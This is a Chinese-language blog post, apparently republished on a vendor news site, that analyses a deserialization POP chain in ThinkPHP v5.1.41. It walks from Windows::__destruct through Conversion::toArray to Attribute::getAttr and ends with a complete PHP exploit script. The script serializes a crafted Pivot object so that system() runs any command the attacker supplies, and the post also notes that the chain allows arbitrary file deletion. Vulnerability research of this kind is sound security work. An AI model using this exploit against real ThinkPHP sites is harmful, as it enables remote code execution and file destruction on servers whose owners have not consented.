Thinkphp v5.1.41反序列化漏洞的分析及EXP,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
TP5141 反序列化
# Author: 4ut15m
# Date: 2021年4月11日 22:45:46
# Version: thinkphp v5.1.41LTS
# Install: composer create-project topthink/think tp5141 5.1.41 --prefer-dist
晚上回顾tp以前反序列化漏洞的时候发现的,好像是一条新的POP链,没有在网上看见其他师傅发表这条链
POP链
Windows->__destruct -->Windows->removeFiles -->Conversion->__toString -->Conversion->toJson -->Conversion->toArray -->Attribute->getAttr
Conversion->Model
Model->Pivot
先看命令执行处,若$closure
、$value
都可控,即可执行命令

POP链首和tp5.0反序列化漏洞起点一样,Windows->__destruct

Windows->removeFiles,控制Windows->files可以删除任意文件。

file_exists函数可触发__toString魔术方法,找到Conversion的toString


跟进Conversion->toArray,$this->append
可控

跟进getRelation,使得该方法返回null即可进入if

跟进getAttr,发现关键点

要使代码执行到493行,需要设置$this->withAttr[$fileName]
.$closure
由$this->withAttr[$fileName]
控制,$this->withAttr
可控,$fileName
由我们参数$name
即我们传入的$this->append
的key控制,也是可控的。
value由getData得到

代码第269行,如果$this->data
中存在$name
键,就将$this->data[$name]
的值赋给value,$this->data与$name皆可控,故value可控
整理思路如下
Conversion->append = ["4ut15m"=>[]]
Conversion->relation = false
Conversion->withAttr = ["4ut15m"=>"system"]
Conversion->data = ["4ut15m"=>"cmd"] //要执行的命令
因为convertion是trait类,所以只要找到一个使用了conversion的类即可,全局搜索conversion找到Model类

由于Model是抽象类,我们得找到Model的实现类,全局搜索找到Pivot

至此可以编写exp
Windows->files = new Pivot()
Pivot->relation = false
Pivot->data = ["4ut15m"=>"cmd"] //要执行的命令
Pivot->withAttr = ["4ut15m"=>"system"]
exp
<?php
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $append = ['4ut15m'=>[]];
public function __construct($cmd){
$this->relation = false;
$this->data = ['4ut15m'=>$cmd]; //任意值,value
$this->withAttr = ['4ut15m'=>'system'];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct($cmd){
$this->files = [new Pivot($cmd)]; //Conversion类
}
}
$windows = new Windows($argv[1]);
echo urlencode(serialize($windows))."\n";
?>
在tp中加一个反序列化点




看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注天达云行业资讯频道,感谢您对天达云的支持。